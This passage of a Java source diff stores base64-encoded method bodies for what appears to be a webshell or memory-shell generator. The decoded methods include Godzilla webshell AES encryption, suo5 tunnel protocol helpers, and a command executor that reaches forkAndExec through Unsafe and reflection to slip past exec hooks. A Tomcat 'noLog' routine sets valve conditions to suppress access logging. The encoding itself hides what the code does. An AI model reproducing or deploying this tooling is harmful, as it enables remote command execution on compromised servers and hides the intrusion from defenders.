AgfQogICAgICAgIH0gY2F0Y2ggKEV4Y2VwdGlvbiBpZ25vcmVkKSB7CiAgICAgICAgfQogICAgICAgIHJldHVybiBudWxsOwogICAgfQ=="; + + // getMethodAndInvoke + public static String GET_METHOD_AND_INVOKE = "cHVibGljIHN0YXRpYyBPYmplY3QgZ2V0TWV0aG9kQW5kSW52b2tlKE9iamVjdCBvYmosIFN0cmluZyBtZXRob2ROYW1lLCBDbGFzc1tdIHBhcmFtZXRlckNsYXNzLCBPYmplY3RbXSBwYXJhbWV0ZXJzKSB7CgkJdHJ5IHsKCQkJamF2YS5sYW5nLnJlZmxlY3QuTWV0aG9kIG1ldGhvZCA9IGdldE1ldGhvZEJ5Q2xhc3Mob2JqLmdldENsYXNzKCksIG1ldGhvZE5hbWUsIHBhcmFtZXRlckNsYXNzKTsKCQkJaWYgKG1ldGhvZCAhPSBudWxsKQoJCQkJcmV0dXJuIG1ldGhvZC5pbnZva2Uob2JqLCBwYXJhbWV0ZXJzKTsKCQl9IGNhdGNoIChFeGNlcHRpb24gaWdub3JlZCkgewoJCX0KCQlyZXR1cm4gbnVsbDsKCX0="; + + // getMethodByClass + public static String GET_METHOD_BY_CLASS = "cHVibGljIHN0YXRpYyBqYXZhLmxhbmcucmVmbGVjdC5NZXRob2QgZ2V0TWV0aG9kQnlDbGFzcyhDbGFzcyBjcywgU3RyaW5nIG1ldGhvZE5hbWUsIENsYXNzW10gcGFyYW1ldGVycykgewoJCWphdmEubGFuZy5yZWZsZWN0Lk1ldGhvZCBtZXRob2QgPSBudWxsOwoJCXdoaWxlIChjcyAhPSBudWxsKSB7CgkJCXRyeSB7CgkJCQltZXRob2QgPSBjcy5nZXREZWNsYXJlZE1ldGhvZChtZXRob2ROYW1lLCBwYXJhbWV0ZXJzKTsKCQkJCW1ldGhvZC5zZXRBY2Nlc3NpYmxlKHRydWUpOwoJCQkJY3MgPSBudWxsOwoJCQl9IGNhdGNoIChFeGNlcHRpb24gZSkgewoJCQkJY3MgPSBjcy5nZXRTdXBlcmNsYXNzKCk7CgkJCX0KCQl9CgkJcmV0dXJuIG1ldGhvZDsKCX0="; + + // getFieldValue + public static String GET_FIELD_VALUE = "cHVibGljIHN0YXRpYyBPYmplY3QgZ2V0RmllbGRWYWx1ZShPYmplY3Qgb2JqLCBTdHJpbmcgZmllbGROYW1lKSB0aHJvd3MgRXhjZXB0aW9uIHsKCQlqYXZhLmxhbmcucmVmbGVjdC5GaWVsZCBmID0gbnVsbDsKCQlpZiAob2JqIGluc3RhbmNlb2YgamF2YS5sYW5nLnJlZmxlY3QuRmllbGQpIHsKCQkJZiA9IChqYXZhLmxhbmcucmVmbGVjdC5GaWVsZCkgb2JqOwoJCX0gZWxzZSB7CgkJCUNsYXNzIGNzID0gb2JqLmdldENsYXNzKCk7CgkJCXdoaWxlIChjcyAhPSBudWxsKSB7CgkJCQl0cnkgewoJCQkJCWYgPSBjcy5nZXREZWNsYXJlZEZpZWxkKGZpZWxkTmFtZSk7CgkJCQkJY3MgPSBudWxsOwoJCQkJfSBjYXRjaCAoRXhjZXB0aW9uIGUpIHsKCQkJCQljcyA9IGNzLmdldFN1cGVyY2xhc3MoKTsKCQkJCX0KCQkJfQoJCX0KCQlmLnNldEFjY2Vzc2libGUodHJ1ZSk7CgkJcmV0dXJuIGYuZ2V0KG9iaik7Cgl9"; + + // getUnsafe + public static String GET_UNSAFE = "cHVibGljIHN0YXRpYyBzdW4ubWlzYy5VbnNhZmUgZ2V0VW5zYWZlKCkgew0KCQlzdW4ubWlzYy5VbnNhZmUgdW5zYWZlID0gbnVsbDsNCgkJdHJ5IHsNCgkJCWlmIChDbGFzcy5mb3JOYW1lKG5ldyBUaHJvd2FibGUoKS5nZXRTdGFja1RyYWNlKClbMV0uZ2V0Q2xhc3NOYW1lKCkpLmdldENsYXNzTG9hZGVyKCkgPT0gbnVsbCkgew0KCQkJCXVuc2FmZSA9IHN1bi5taXNjLlVuc2FmZS5nZXRVbnNhZmUoKTsNCgkJCX0NCgkJfSBjYXRjaCAoQ2xhc3NOb3RGb3VuZEV4Y2VwdGlvbiBpZ25vcmVkKSB7DQoJCX0NCg0KCQlpZiAodW5zYWZlID09IG51bGwpIHsNCgkJCXRyeSB7DQoJCQkJQ2xhc3MgICAgICAgICAgICAgICAgICAgZ3NvbkNsYXNzID0gQ2xhc3MuZm9yTmFtZSgiY29tLmdvb2dsZS5nc29uLmludGVybmFsLnJlZmxlY3QuVW5zYWZlUmVmbGVjdGlvbkFjY2Vzc29yIik7DQoJCQkJamF2YS5sYW5nLnJlZmxlY3QuRmllbGQgZmllbGQgICAgID0gZ3NvbkNsYXNzLmdldERlY2xhcmVkRmllbGQoInRoZVVuc2FmZSIpOw0KCQkJCWZpZWxkLnNldEFjY2Vzc2libGUodHJ1ZSk7DQoJCQkJdW5zYWZlID0gKHN1bi5taXNjLlVuc2FmZSkgZmllbGQuZ2V0KG51bGwpOw0KCQkJfSBjYXRjaCAoRXhjZXB0aW9uIGlnbm9yZWQpIHsNCgkJCX0NCgkJfQ0KDQoJCWlmICh1bnNhZmUgPT0gbnVsbCkgew0KCQkJdHJ5IHsNCgkJCQlDbGFzcyAgICAgICAgICAgICAgICAgICBuZXR0eUNsYXNzID0gQ2xhc3MuZm9yTmFtZSgiaW8ubmV0dHkudXRpbC5pbnRlcm5hbC5zaGFkZWQub3JnLmpjdG9vbHMudXRpbC5VbnNhZmVBY2Nlc3MiKTsNCgkJCQlqYXZhLmxhbmcucmVmbGVjdC5GaWVsZCBmaWVsZCAgICAgID0gbmV0dHlDbGFzcy5nZXREZWNsYXJlZEZpZWxkKCJVTlNBRkUiKTsNCgkJCQlmaWVsZC5zZXRBY2Nlc3NpYmxlKHRydWUpOw0KCQkJCXVuc2FmZSA9IChzdW4ubWlzYy5VbnNhZmUpIGZpZWxkLmdldChudWxsKTsNCgkJCX0gY2F0Y2ggKEV4Y2VwdGlvbiBpZ25vcmVkKSB7DQoJCQl9DQoJCX0NCg0KCQlpZiAodW5zYWZlID09IG51bGwpIHsNCgkJCXRyeSB7DQoJCQkJamF2YS5sYW5nLnJlZmxlY3QuRmllbGQgdGhlVW5zYWZlRmllbGQgPSBzdW4ubWlzYy5VbnNhZmUuY2xhc3MuZ2V0RGVjbGFyZWRGaWVsZCgidGhlVW5zYWZlIik7DQoJCQkJdGhlVW5zYWZlRmllbGQuc2V0QWNjZXNzaWJsZSh0cnVlKTsNCgkJCQl1bnNhZmUgPSAoc3VuLm1pc2MuVW5zYWZlKSB0aGVVbnNhZmVGaWVsZC5nZXQobnVsbCk7DQoJCQl9IGNhdGNoIChFeGNlcHRpb24gaWdub3JlZCkgew0KCQkJfQ0KCQl9DQoNCgkJcmV0dXJuIHVuc2FmZTsNCgl9"; + + // base64Decode + public static String BASE64_DECODE_STRING_TO_BYTE = "cHVibGljIHN0YXRpYyBieXRlW10gYmFzZTY0RGVjb2RlKFN0cmluZyBicykgdGhyb3dzIEV4Y2VwdGlvbiB7CgkJQ2xhc3MgIGJhc2U2NDsKCQlieXRlW10gdmFsdWUgPSBudWxsOwoJCXRyeSB7CgkJCWJhc2U2NCA9IENsYXNzLmZvck5hbWUoImphdmEudXRpbC5CYXNlNjQiKTsKCQkJT2JqZWN0IGRlY29kZXIgPSBiYXNlNjQuZ2V0TWV0aG9kKCJnZXREZWNvZGVyIiwgbnVsbCkuaW52b2tlKGJhc2U2NCwgbnVsbCk7CgkJCXZhbHVlID0gKGJ5dGVbXSkgZGVjb2Rlci5nZXRDbGFzcygpLmdldE1ldGhvZCgiZGVjb2RlIiwgbmV3IENsYXNzW117U3RyaW5nLmNsYXNzfSkuaW52b2tlKGRlY29kZXIsIG5ldyBPYmplY3RbXXtic30pOwoJCX0gY2F0Y2ggKEV4Y2VwdGlvbiBlKSB7CgkJCXRyeSB7CgkJCQliYXNlNjQgPSBDbGFzcy5mb3JOYW1lKCJzdW4ubWlzYy5CQVNFNjREZWNvZGVyIik7CgkJCQlPYmplY3QgZGVjb2RlciA9IGJhc2U2NC5uZXdJbnN0YW5jZSgpOwoJCQkJdmFsdWUgPSAoYnl0ZVtdKSBkZWNvZGVyLmdldENsYXNzKCkuZ2V0TWV0aG9kKCJkZWNvZGVCdWZmZXIiLCBuZXcgQ2xhc3NbXXtTdHJpbmcuY2xhc3N9KS5pbnZva2UoZGVjb2RlciwgbmV3IE9iamVjdFtde2JzfSk7CgkJCX0gY2F0Y2ggKEV4Y2VwdGlvbiBlMikgewoJCQl9CgkJfQoJCXJldHVybiB2YWx1ZTsKCX0"; + + // base64Encode + public static String BASE64_ENCODE_BYTE_TO_STRING = "cHVibGljIHN0YXRpYyBTdHJpbmcgYmFzZTY0RW5jb2RlKGJ5dGVbXSBicykgdGhyb3dzIEV4Y2VwdGlvbiB7CgkJQ2xhc3MgIGJhc2U2NDsKCQlTdHJpbmcgdmFsdWUgPSBudWxsOwoJCXRyeSB7CgkJCWJhc2U2NCA9IENsYXNzLmZvck5hbWUoImphdmEudXRpbC5CYXNlNjQiKTsKCQkJT2JqZWN0IEVuY29kZXIgPSBiYXNlNjQuZ2V0TWV0aG9kKCJnZXRFbmNvZGVyIiwgbnVsbCkuaW52b2tlKGJhc2U2NCwgbnVsbCk7CgkJCXZhbHVlID0gKFN0cmluZykgRW5jb2Rlci5nZXRDbGFzcygpLmdldE1ldGhvZCgiZW5jb2RlVG9TdHJpbmciLCBuZXcgQ2xhc3NbXXtieXRlW10uY2xhc3N9KS5pbnZva2UoRW5jb2RlciwgbmV3IE9iamVjdFtde2JzfSk7CgkJfSBjYXRjaCAoRXhjZXB0aW9uIGUpIHsKCQkJdHJ5IHsKCQkJCWJhc2U2NCA9IENsYXNzLmZvck5hbWUoInN1bi5taXNjLkJBU0U2NEVuY29kZXIiKTsKCQkJCU9iamVjdCBFbmNvZGVyID0gYmFzZTY0Lm5ld0luc3RhbmNlKCk7CgkJCQl2YWx1ZSA9IChTdHJpbmcpIEVuY29kZXIuZ2V0Q2xhc3MoKS5nZXRNZXRob2QoImVuY29kZSIsIG5ldyBDbGFzc1tde2J5dGVbXS5jbGFzc30pLmludm9rZShFbmNvZGVyLCBuZXcgT2JqZWN0W117YnN9KTsKCQkJfSBjYXRjaCAoRXhjZXB0aW9uIGlnbm9yZWQpIHsKCQkJfQoJCX0KCQlyZXR1cm4gdmFsdWU7Cgl9"; + + // MD5 + public static String MD5 = "CXB1YmxpYyBzdGF0aWMgU3RyaW5nIG1kNShTdHJpbmcgcykgewoJCVN0cmluZyByZXQgPSBudWxsOwoJCXRyeSB7CgkJCWphdmEuc2VjdXJpdHkuTWVzc2FnZURpZ2VzdCBtOwoJCQltID0gamF2YS5zZWN1cml0eS5NZXNzYWdlRGlnZXN0LmdldEluc3RhbmNlKCJNRDUiKTsKCQkJbS51cGRhdGUocy5nZXRCeXRlcygpLCAwLCBzLmxlbmd0aCgpKTsKCQkJcmV0ID0gbmV3IGphdmEubWF0aC5CaWdJbnRlZ2VyKDEsIG0uZGlnZXN0KCkpLnRvU3RyaW5nKDE2KS50b1VwcGVyQ2FzZSgpOwoJCX0gY2F0Y2ggKEV4Y2VwdGlvbiBpZ25vcmVkKSB7CgkJfQoJCXJldHVybiByZXQ7Cgl9"; + + // 哥斯拉 AES 方法 x(需要 Field xc) + public static String AES_FOR_GODZILLA = "CXB1YmxpYyBieXRlW10geChieXRlW10gcywgYm9vbGVhbiBtKSB7CgkJdHJ5IHsKCQkJamF2YXguY3J5cHRvLkNpcGhlciBjID0gamF2YXguY3J5cHRvLkNpcGhlci5nZXRJbnN0YW5jZSgiQUVTIik7CgkJCWMuaW5pdChtID8gMSA6IDIsIG5ldyBqYXZheC5jcnlwdG8uc3BlYy5TZWNyZXRLZXlTcGVjKHhjLmdldEJ5dGVzKCksICJBRVMiKSk7CgkJCXJldHVybiBjLmRvRmluYWwocyk7CgkJfSBjYXRjaCAoRXhjZXB0aW9uIGUpIHsKCQkJcmV0dXJuIG51bGw7CgkJfQoJfQ=="; + + // 命令执行封装方法,使用反射调用 forkandexec, 需要 toCString getMethodByClass getMethodAndInvoke getFieldValue getUnsafe + public static String EXEC_CMD_OBSCURE = "cHVibGljIHN0YXRpYyBqYXZhLmlvLkJ5dGVBcnJheU91dHB1dFN0cmVhbSBleGVjQ21kKFN0cmluZyBjbWQpIHsKCQl0cnkgewoJCQlpZiAoY21kICE9IG51bGwgJiYgIWNtZC5pc0VtcHR5KCkpIHsKCQkJCVN0cmluZ1tdICAgICAgICAgICAgICAgICAgICAgIGNtZHMgICAgICAgICAgPSBudWxsOwoJCQkJQ2xhc3MgICAgICAgICAgICAgICAgICAgICAgICAgcHJvY2Vzc0NsYXNzICA9IG51bGw7CgkJCQlPYmplY3QgICAgICAgICAgICAgICAgICAgICAgICBwcm9jZXNzT2JqZWN0ID0gbnVsbDsKCQkJCXN1bi5taXNjLlVuc2FmZSAgICAgICAgICAgICAgIHVuc2FmZSAgICAgICAgPSBnZXRVbnNhZmUoKTsKCQkJCWphdmEuaW8uQnl0ZUFycmF5T3V0cHV0U3RyZWFtIGJhb3MgICAgICAgICAgPSBuZXcgamF2YS5pby5CeXRlQXJyYXlPdXRwdXRTdHJlYW0oKTsKCQkJCWlmIChTeXN0ZW0uZ2V0UHJvcGVydHkoIm9zLm5hbWUiKS50b0xvd2VyQ2FzZSgpLmNvbnRhaW5zKCJ3aW4iKSkgewoJCQkJCWNtZHMgPSBuZXcgU3RyaW5nW117ImNtZCIsICIvYyIsIGNtZH07CgkJCQkJcHJvY2Vzc0NsYXNzID0gQ2xhc3MuZm9yTmFtZSgiamF2YS5sYW5nLlByb2Nlc3NJbXBsIik7CgkJCQkJcHJvY2Vzc09iamVjdCA9IHVuc2FmZS5hbGxvY2F0ZUluc3RhbmNlKHByb2Nlc3NDbGFzcyk7CgkJCQkJbG9uZ1tdICAgICAgICBzdGRIYW5kbGVzID0gbmV3IGxvbmdbXXstMUwsIC0xTCwgLTFMfTsKCQkJCQlTdHJpbmdCdWlsZGVyIHNiICAgICAgICAgPSBuZXcgU3RyaW5nQnVpbGRlcigpOwoJCQkJCWZvciAoaW50IGkgPSAwOyBpIDwgY21kcy5sZW5ndGg7IGkrKykgewoJCQkJCQlzYi5hcHBlbmQoY21kc1tpXSkuYXBwZW5kKCIgIik7CgkJCQkJfQoJCQkJCU9iamVjdCAgICAgICAgICAgICAgICAgICAgaGFuZGxlID0gIGdldE1ldGhvZEFuZEludm9rZShwcm9jZXNzT2JqZWN0LCAiY3JlYXRlIiwgbmV3IENsYXNzW117U3RyaW5nLmNsYXNzLCBTdHJpbmcuY2xhc3MsIFN0cmluZy5jbGFzcywgbG9uZ1tdLmNsYXNzLCBib29sZWFuLmNsYXNzfSwgbmV3IE9iamVjdFtde3NiLnRvU3RyaW5nKCkudHJpbSgpLCBudWxsLCBudWxsLCBzdGRIYW5kbGVzLCBqYXZhLmxhbmcuQm9vbGVhbi5GQUxTRX0pOwoJCQkJCWphdmEubGFuZy5yZWZsZWN0LkZpZWxkIGZpZWxkICA9IHByb2Nlc3NDbGFzcy5nZXREZWNsYXJlZEZpZWxkKCJoYW5kbGUiKTsKCQkJCQlmaWVsZC5zZXRBY2Nlc3NpYmxlKHRydWUpOwoJCQkJCWZpZWxkLnNldChwcm9jZXNzT2JqZWN0LCBoYW5kbGUpOwoJCQkJCWphdmEuaW8uRmlsZURlc2NyaXB0b3Igc3Rkb3V0X2ZkID0gbmV3IGphdmEuaW8uRmlsZURlc2NyaXB0b3IoKTsKCQkJCQlnZXRNZXRob2RBbmRJbnZva2UoZ2V0RmllbGRWYWx1ZShwcm9jZXNzT2JqZWN0LCAiZmRBY2Nlc3MiKSwgInNldEhhbmRsZSIsIG5ldyBDbGFzc1tde2phdmEuaW8uRmlsZURlc2NyaXB0b3IuY2xhc3MsIE9iamVjdC5jbGFzc30sIG5ldyBPYmplY3RbXXtzdGRvdXRfZmQsIExvbmcudmFsdWVPZihzdGRIYW5kbGVzWzFdKX0pOwoJCQkJCWphdmEubGFuZy5yZWZsZWN0LkZpZWxkIGZpZWxkMiA9IHByb2Nlc3NDbGFzcy5nZXREZWNsYXJlZEZpZWxkKCJzdGRvdXRfc3RyZWFtIik7CgkJCQkJZmllbGQyLnNldEFjY2Vzc2libGUodHJ1ZSk7CgkJCQkJZmllbGQyLnNldChwcm9jZXNzT2JqZWN0LCBuZXcgamF2YS5pby5CdWZmZXJlZElucHV0U3RyZWFtKG5ldyBqYXZhLmlvLkZpbGVJbnB1dFN0cmVhbShzdGRvdXRfZmQpKSk7CgkJCQl9IGVsc2UgewoJCQkJCWNtZHMgPSBuZXcgU3RyaW5nW117Ii9iaW4vYmFzaCIsICItYyIsIGNtZH07CgkJCQkJcHJvY2Vzc0NsYXNzID0gQ2xhc3MuZm9yTmFtZSgiamF2YS5sYW5nLlVOSVhQcm9jZXNzIik7CgkJCQkJcHJvY2Vzc09iamVjdCA9IHVuc2FmZS5hbGxvY2F0ZUluc3RhbmNlKHByb2Nlc3NDbGFzcyk7CgkJCQkJYnl0ZVtdW10gYXJncyA9IG5ldyBieXRlW2NtZHMubGVuZ3RoIC0gMV1bXTsKCQkJCQlpbnQgICAgICBzaXplID0gYXJncy5sZW5ndGg7CgkJCQkJZm9yIChpbnQgaSA9IDA7IGkgPCBhcmdzLmxlbmd0aDsgaSsrKSB7CgkJCQkJCWFyZ3NbaV0gPSBjbWRzW2kgKyAxXS5nZXRCeXRlcygpOwoJCQkJCQlzaXplICs9IGFyZ3NbaV0ubGVuZ3RoOwoJCQkJCX0KCQkJCQlieXRlW10gYXJnQmxvY2sgPSBuZXcgYnl0ZVtzaXplXTsKCQkJCQlpbnQgICAgaSAgICAgICAgPSAwOwoJCQkJCWZvciAoaW50IGkxID0gMDsgaTEgPCBhcmdzLmxlbmd0aDsgaTErKykgewoJCQkJCQlTeXN0ZW0uYXJyYXljb3B5KGFyZ3NbaTFdLCAwLCBhcmdCbG9jaywgaSwgYXJnc1tpMV0ubGVuZ3RoKTsKCQkJCQkJaSArPSBhcmdzW2kxXS5sZW5ndGggKyAxOwoJCQkJCX0KCQkJCQlpbnRbXSAgc3RkX2ZkcyAgICAgICAgICAgICAgID0gbmV3IGludFtdey0xLCAtMSwgLTF9OwoJCQkJCU9iamVjdCBsYXVuY2hNZWNoYW5pc21PYmplY3QgPSBnZXRGaWVsZFZhbHVlKHByb2Nlc3NPYmplY3QsICJsYXVuY2hNZWNoYW5pc20iKTsKCQkJCQlieXRlW10gaGVscGVycGF0aE9iamVjdCAgICAgID0gKGJ5dGVbXSkgZ2V0RmllbGRWYWx1ZShwcm9jZXNzT2JqZWN0LCAiaGVscGVycGF0aCIpOwoJCQkJCWludCAgICBvcmRpbmFsICAgICAgICAgICAgICAgPSBqYXZhLmxhbmcuSW50ZWdlci5wYXJzZUludChnZXRNZXRob2RBbmRJbnZva2UobGF1bmNoTWVjaGFuaXNtT2JqZWN0LCAib3JkaW5hbCIsIG51bGwsIG51bGwpLnRvU3RyaW5nKCkpOwoJCQkJCWdldE1ldGhvZEFuZEludm9rZShwcm9jZXNzT2JqZWN0LCAiZm9ya0FuZEV4ZWMiLCBuZXcgQ2xhc3NbXXtpbnQuY2xhc3MsIGJ5dGVbXS5jbGFzcywgYnl0ZVtdLmNsYXNzLCBieXRlW10uY2xhc3MsIGludC5jbGFzcywgYnl0ZVtdLmNsYXNzLCBpbnQuY2xhc3MsIGJ5dGVbXS5jbGFzcywgaW50W10uY2xhc3MsIGJvb2xlYW4uY2xhc3N9LCBuZXcgT2JqZWN0W117SW50ZWdlci52YWx1ZU9mKG9yZGluYWwgKyAxKSwgaGVscGVycGF0aE9iamVjdCwgdG9DU3RyaW5nKGNtZHNbMF0pLCBhcmdCbG9jaywgSW50ZWdlci52YWx1ZU9mKGFyZ3MubGVuZ3RoKSwgbnVsbCwgSW50ZWdlci52YWx1ZU9mKDEpLCBudWxsLCBzdGRfZmRzLCBqYXZhLmxhbmcuQm9vbGVhbi5GQUxTRX0pOwoJCQkJCWdldE1ldGhvZEFuZEludm9rZShwcm9jZXNzT2JqZWN0LCAiaW5pdFN0cmVhbXMiLCBuZXcgQ2xhc3NbXXtpbnRbXS5jbGFzc30sIG5ldyBPYmplY3RbXXtzdGRfZmRzfSk7CgkJCQl9CgkJCQlqYXZhLmlvLklucHV0U3RyZWFtIGluID0gKGphdmEuaW8uSW5wdXRTdHJlYW0pIGdldE1ldGhvZEFuZEludm9rZShwcm9jZXNzT2JqZWN0LCAiZ2V0SW5wdXRTdHJlYW0iLCBudWxsLCBudWxsKTsKCQkJCWludCAgICAgICAgICAgICAgICAgYSAgPSAwOwoJCQkJYnl0ZVtdICAgICAgICAgICAgICBiICA9IG5ldyBieXRlWzEwMjRdOwoJCQkJd2hpbGUgKChhID0gaW4ucmVhZChiKSkgIT0gLTEpIHsKCQkJCQliYW9zLndyaXRlKGIsIDAsIGEpOwoJCQkJfQoJCQkJcmV0dXJuIGJhb3M7CgkJCX0KCQl9IGNhdGNoIChFeGNlcHRpb24gaWdub3JlZCkgewoJCX0KCQlyZXR1cm4gbnVsbDsKCX0="; + + // 命令执行封装方法,简单使用 Runtime.getRuntime().exec() + public static String EXEC_CMD = "cHVibGljIHN0YXRpYyBqYXZhLmlvLkJ5dGVBcnJheU91dHB1dFN0cmVhbSBleGVjQ21kKFN0cmluZyBjbWQpIHsKCQl0cnkgewoJCQlpZiAoY21kICE9IG51bGwgJiYgIWNtZC5pc0VtcHR5KCkpIHsKCQkJCVN0cmluZ1tdIGNtZHMgPSBudWxsOwoJCQkJaWYgKFN5c3RlbS5nZXRQcm9wZXJ0eSgib3MubmFtZSIpLnRvTG93ZXJDYXNlKCkuY29udGFpbnMoIndpbiIpKSB7CgkJCQkJY21kcyA9IG5ldyBTdHJpbmdbXXsiY21kIiwgIi9jIiwgY21kfTsKCQkJCX0gZWxzZSB7CgkJCQkJY21kcyA9IG5ldyBTdHJpbmdbXXsiL2Jpbi9iYXNoIiwgIi1jIiwgY21kfTsKCQkJCX0KCgkJCQlqYXZhLmlvLklucHV0U3RyZWFtIGluID0gUnVudGltZS5nZXRSdW50aW1lKCkuZXhlYyhjbWRzKS5nZXRJbnB1dFN0cmVhbSgpOwoJCQkJamF2YS5pby5CeXRlQXJyYXlPdXRwdXRTdHJlYW0gYmFvcyA9IG5ldyBqYXZhLmlvLkJ5dGVBcnJheU91dHB1dFN0cmVhbSgpOwoJCQkJaW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgYSAgICA9IDA7CgkJCQlieXRlW10gICAgICAgICAgICAgICAgICAgICAgICBiICAgID0gbmV3IGJ5dGVbMTAyNF07CgoJCQkJd2hpbGUgKChhID0gaW4ucmVhZChiKSkgIT0gLTEpIHsKCQkJCQliYW9zLndyaXRlKGIsIDAsIGEpOwoJCQkJfQoKCQkJCXJldHVybiBiYW9zOwoJCQl9CgkJfSBjYXRjaCAoRXhjZXB0aW9uIGlnbm9yZWQpIHsKCQl9CgoJCXJldHVybiBudWxsOwoJfQ=="; + + // Tomcat NO LOG 方法,需要 getFieldValue getMethodByClass getMethodAndInvoke + public static String TOMCAT_NO_LOG = "cHVibGljIHZvaWQgbm9Mb2coT2JqZWN0IHJlcU9iaikgewoJCXRyeSB7CgkJCU9iamVjdCAgICAgICAgICAgICAgICAgICAgICBhcHBsaWNhdGlvbkNvbnRleHQgPSBnZXRGaWVsZFZhbHVlKGdldE1ldGhvZEFuZEludm9rZShyZXFPYmosICJnZXRTZXJ2bGV0Q29udGV4dCIsIG51bGwsIG51bGwpLCAiY29udGV4dCIpOwoJCQlPYmplY3QgICAgICAgICAgICAgICAgICAgICAgY29udGFpbmVyICAgICAgICAgID0gZ2V0RmllbGRWYWx1ZShhcHBsaWNhdGlvbkNvbnRleHQsICJjb250ZXh0Iik7CgkJCWphdmEudXRpbC5BcnJheUxpc3QgYXJyYXlMaXN0ICAgICAgICAgID0gbmV3IGphdmEudXRpbC5BcnJheUxpc3QoKTsKCQkJd2hpbGUgKGNvbnRhaW5lciAhPSBudWxsKSB7CgkJCQlhcnJheUxpc3QuYWRkKGNvbnRhaW5lcik7CgkJCQljb250YWluZXIgPSBnZXRNZXRob2RBbmRJbnZva2UoY29udGFpbmVyLCAiZ2V0UGFyZW50IiwgbnVsbCwgbnVsbCk7CgkJCX0KCQkJZm9yIChpbnQgaSA9IDA7IGkgPCBhcnJheUxpc3Quc2l6ZSgpOyBpKyspIHsKCQkJCXRyeSB7CgkJCQkJT2JqZWN0IHBpcGVsaW5lID0gZ2V0TWV0aG9kQW5kSW52b2tlKGFycmF5TGlzdC5nZXQoaSksICJnZXRQaXBlbGluZSIsIG51bGwsIG51bGwpOwoJCQkJCWlmIChwaXBlbGluZSAhPSBudWxsKSB7CgkJCQkJCU9iamVjdCB2YWx2ZSA9IGdldE1ldGhvZEFuZEludm9rZShwaXBlbGluZSwgImdldEZpcnN0IiwgbnVsbCwgbnVsbCk7CgkJCQkJCXdoaWxlICh2YWx2ZSAhPSBudWxsKSB7CgkJCQkJCQlpZiAoZ2V0TWV0aG9kQnlDbGFzcyh2YWx2ZS5nZXRDbGFzcygpLCAiZ2V0Q29uZGl0aW9uIiwgbnVsbCkgIT0gbnVsbCAmJiBnZXRNZXRob2RCeUNsYXNzKHZhbHZlLmdldENsYXNzKCksICJzZXRDb25kaXRpb24iLCBuZXcgQ2xhc3NbXXtTdHJpbmcuY2xhc3N9KSAhPSBudWxsKSB7CgkJCQkJCQkJU3RyaW5nIGNvbmRpdGlvbiA9IChTdHJpbmcpIGdldE1ldGhvZEFuZEludm9rZSh2YWx2ZSwgImdldENvbmRpdGlvbiIsIG51bGwsIG51bGwpOwoJCQkJCQkJCWNvbmRpdGlvbiA9IChjb25kaXRpb24gPT0gbnVsbCkgPyAiV2hhdGV2ZXIiIDogY29uZGl0aW9uOwoJCQkJCQkJCWdldE1ldGhvZEFuZEludm9rZSh2YWx2ZSwgInNldENvbmRpdGlvbiIsIG5ldyBDbGFzc1tde1N0cmluZy5jbGFzc30sIG5ldyBPYmplY3RbXXtjb25kaXRpb259KTsKCQkJCQkJCQlnZXRNZXRob2RBbmRJbnZva2UocmVxT2JqLCAic2V0QXR0cmlidXRlIiwgbmV3IENsYXNzW117U3RyaW5nLmNsYXNzLCBPYmplY3QuY2xhc3N9LCBuZXcgT2JqZWN0W117Y29uZGl0aW9uLCBjb25kaXRpb259KTsKCQkJCQkJCQl2YWx2ZSA9IGdldE1ldGhvZEFuZEludm9rZSh2YWx2ZSwgImdldE5leHQiLCBudWxsLCBudWxsKTsKCQkJCQkJCQljb250aW51ZTsKCQkJCQkJCX0KCQkJCQkJCWlmIChDbGFzcy5mb3JOYW1lKCJvcmcuYXBhY2hlLmNhdGFsaW5hLlZhbHZlIiwgZmFsc2UsIGFwcGxpY2F0aW9uQ29udGV4dC5nZXRDbGFzcygpLmdldENsYXNzTG9hZGVyKCkpLmlzQXNzaWduYWJsZUZyb20odmFsdmUuZ2V0Q2xhc3MoKSkpIHsKCQkJCQkJCQl2YWx2ZSA9IGdldE1ldGhvZEFuZEludm9rZSh2YWx2ZSwgImdldE5leHQiLCBudWxsLCBudWxsKTsKCQkJCQkJCQljb250aW51ZTsKCQkJCQkJCX0KCQkJCQkJCXZhbHZlID0gbnVsbDsKCQkJCQkJfQoJCQkJCX0KCQkJCX0gY2F0Y2ggKEV4Y2VwdGlvbiBpZ25vcmVkKSB7CgkJCQl9CgkJCX0KCQl9IGNhdGNoIChFeGNlcHRpb24gaWdub3JlZCkgewoJCX0KCX0="; + + public static class SUO5 { + + // suo5 newCreate 方法 + public static String SUO5_NEW_CREATE = "CXByaXZhdGUgamF2YS51dGlsLkhhc2hNYXAgbmV3Q3JlYXRlKGJ5dGUgcykgewoJCWphdmEudXRpbC5IYXNoTWFwIG0gPSBuZXcgamF2YS51dGlsLkhhc2hNYXAoKTsKCQltLnB1dCgiYWMiLCBuZXcgYnl0ZVtdezB4MDR9KTsKCQltLnB1dCgicyIsIG5ldyBieXRlW117c30pOwoJCXJldHVybiBtOwoJfQ=="; + + // suo5 newData 方法 + public static String SUO5_NEW_DATA = "CXByaXZhdGUgamF2YS51dGlsLkhhc2hNYXAgbmV3RGF0YShieXRlW10gZGF0YSkgewoJCWphdmEudXRpbC5IYXNoTWFwIG0gPSBuZXcgamF2YS51dGlsLkhhc2hNYXAoKTsKCQltLnB1dCgiYWMiLCBuZXcgYnl0ZVtdezB4MDF9KTsKCQltLnB1dCgiZHQiLCBkYXRhKTsKCQlyZXR1cm4gbTsKCX0="; + + // suo5 newDel 方法 + public static String SUO5_NEW_DEL = "CXByaXZhdGUgamF2YS51dGlsLkhhc2hNYXAgbmV3RGVsKCkgewoJCWphdmEudXRpbC5IYXNoTWFwIG0gPSBuZXcgamF2YS51dGlsLkhhc2hNYXAoKTsKCQltLnB1dCgiYWMiLCBuZXcgYnl0ZVtdezB4MDJ9KTsKCQlyZXR1cm4gbTsKCX0="; + + // suo5 setStream 方法,需要 Field gInStream,gOutStream + public static String SUO5_SET_STREAM = "cHJpdmF0ZSB2b2lkIHNldFN0cmVhbShqYXZhLmlvLklucHV0U3RyZWFtIGluLCBqYXZhLmlvLk91dHB1dFN0cmVhbSBvdXQpIHsKCQlnSW5TdHJlYW0gPSBpbjsKCQlnT3V0U3RyZWFtID0gb3V0OwoJfQ=="; + + // suo5 newStatus 方法 + public static String SUO5_NEW_STATUS = 